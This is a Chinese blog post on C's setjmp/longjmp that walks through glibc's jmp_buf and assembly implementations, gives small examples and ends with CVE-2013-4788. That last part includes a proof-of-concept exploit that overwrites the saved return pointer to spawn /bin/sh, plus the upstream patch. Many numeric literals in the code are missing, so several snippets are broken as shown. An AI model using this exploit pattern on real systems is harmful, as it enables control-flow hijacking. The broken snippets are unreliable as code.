目录

. 应用场景
. Use Case Code Analysis
. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. 应用场景

非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中

. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用

. 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 

. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数

. C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

0x1: 非局部跳转(no-local goto)实现原理

C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制

正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

2. Use Case Code Analysis

. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/
) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用
1.1) 如果是直接调用setjmp(),那么返回值为0
1.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非0
) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中 . 非局部跳转longjmp()
) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈
) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

0x1: jmp_buf

jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

\glibc-2.18\setjmp\setjmp.h

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{
/*
NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.
Do not move these members or add others before it.
*/
__jmp_buf __jmpbuf; /* Calling environment. */
int __mask_was_saved; /* Saved the signal mask */
__sigset_t __saved_mask; /* Saved signal mask. */
}; __BEGIN_NAMESPACE_STD typedef struct __jmp_buf_tag jmp_buf[];

将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针

0x2: setjmp

创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)
mov x1, #
b 1f
END (setjmp) ENTRY (_setjmp)
mov x1, #
b 1f
END (_setjmp)
libc_hidden_def (_setjmp) ENTRY (__sigsetjmp) :
stp x19, x20, [x0, #JB_X19<<]
stp x21, x22, [x0, #JB_X21<<]
stp x23, x24, [x0, #JB_X23<<]
stp x25, x26, [x0, #JB_X25<<]
stp x27, x28, [x0, #JB_X27<<]
stp x29, x30, [x0, #JB_X29<<]
stp d8, d9, [x0, #JB_D8<<]
stp d10, d11, [x0, #JB_D10<<]
stp d12, d13, [x0, #JB_D12<<]
stp d14, d15, [x0, #JB_D14<<]
mov x2, sp
str x2, [x0, #JB_SP<<]
#if defined NOT_IN_libc && defined IS_IN_rtld
/* In ld.so we never save the signal mask */
mov w0, #
RET
#else
b C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */
#include <stdio.h> /* printf, scanf */
#include <stdlib.h> /* exit */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; /*
setjmp会多次返回
setjmp return value
1. 正常调用(保存当前call的env): 返回0
2. 调用longjmp返回: 取决于longjmp的第二个参数
1) longjmp的第二个参数为非0: setjmp返回同样的值
2) longjmp的第二个参数为0: setjmp返回1
*/
val = setjmp (env);
if (val)
{
fprintf (stderr,"Error %d happened\n",val);
exit (val);
} printf("Calling function.\n");
longjmp (env,); /* signaling an error */ return ;
}

aaarticlea/png;base64,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" alt="" />

0x3: longjmp

恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)
/* Restore registers. */
mov (JB_RSP*)(%rdi),%R8_LP
mov (JB_RBP*)(%rdi),%R9_LP
mov (JB_PC*)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (%R8_LP)
PTR_DEMANGLE (%R9_LP)
PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__
/* We ignored the high bits of the %rbp value because only the low
bits are mangled. But we cannot presume that %rbp is being used
as a pointer and truncate it, so recover the high bits. */
movl (JB_RBP* + )(%rdi), %eax
shlq $, %rax
orq %rax, %r9
# endif
#endif
LIBC_PROBE (longjmp, , LP_SIZE@%RDI_LP, -@%esi, LP_SIZE@%RDX_LP)
/* We add unwind information for the target here. */
cfi_def_cfa(%rdi, )
cfi_register(%rsp,%r8)
cfi_register(%rbp,%r9)
cfi_register(%rip,%rdx)
cfi_offset(%rbx,JB_RBX*)
cfi_offset(%r12,JB_R12*)
cfi_offset(%r13,JB_R13*)
cfi_offset(%r14,JB_R14*)
cfi_offset(%r15,JB_R15*)
movq (JB_RBX*)(%rdi),%rbx
movq (JB_R12*)(%rdi),%r12
movq (JB_R13*)(%rdi),%r13
movq (JB_R14*)(%rdi),%r14
movq (JB_R15*)(%rdi),%r15
/* Set return value for setjmp. */
mov %esi, %eax
mov %R8_LP,%RSP_LP
movq %r9,%rbp
LIBC_PROBE (longjmp_target, ,
LP_SIZE@%RDI_LP, -@%eax, LP_SIZE@%RDX_LP)
jmpq *%rdx
END (__longjmp)

code

/* longjmp example */
#include <stdio.h> /* printf */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; val=setjmp(env); printf ("val is %d\n",val); if (!val) longjmp(env, ); return ;
}

aaarticlea/png;base64,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" alt="" />

Relevant Link:

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码

/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept for glibc versions <= 2.17
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/ #include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h> #ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#elif __arm__
#define ROTATE 0x0
#define PC_ENV_OFFSET 0x24
#else
#error The exploit does not support this architecture
#endif unsigned long rol(uintptr_t value)
{
// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
unsigned long ret;
asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : ""(value));
return ret;
} int hacked()
{
printf("[+] hacked !!\n");
system("/bin/sh");
} int main(void)
{
//jmp_buf用于保存恢复调用环境所需的信息
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n");
if(setjmp(env) == )
{
printf("[-] Exploit failed.\n");
return ;
} /*Overwrite env return address */
*ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, ); printf("[-] Exploit failed.\n");
return ;
}

简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c -- ::13.000000000 +
+++ glibc-2.17-mangle-fix/csu/libc-start.c -- ::48.000000000 +
@@ -, +, @@ extern void __pthread_initialize_minimal
in thread local area. */
uintptr_t __stack_chk_guard attribute_relro;
# endif
+
+# ifndef THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+ attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+
#endif #ifdef HAVE_PTR_NTHREADS
@@ -, +, @@ LIBC_START_MAIN (int (*main) (int, char
# else
__stack_chk_guard = stack_chk_guard;
# endif
+ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+ stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+ THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+ __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+
#endif /* Register the destructor of the dynamic linker if there is any. */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213

Copyright (c) 2014 LittleHann All rights reserved

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的更多相关文章

  1. Servlet Exception and Error Handling

    Servlet API support for custom Exception and Error Handler servlets that we can congiure in deployme ...

  2. Unix系统编程()执行非局部跳转:setjmp和longjmp

    使用库函数setjmp和longjmp可执行非局部跳转(local goto). 术语"非局部(nonlocal)"是指跳转目标为当前执行函数之外的某个位置. C语言里面有个&qu ...

  3. 转 InnoDB Error Handling

    14.20.4 InnoDB Error Handling Error handling in InnoDB is not always the same as specified in the SQ ...

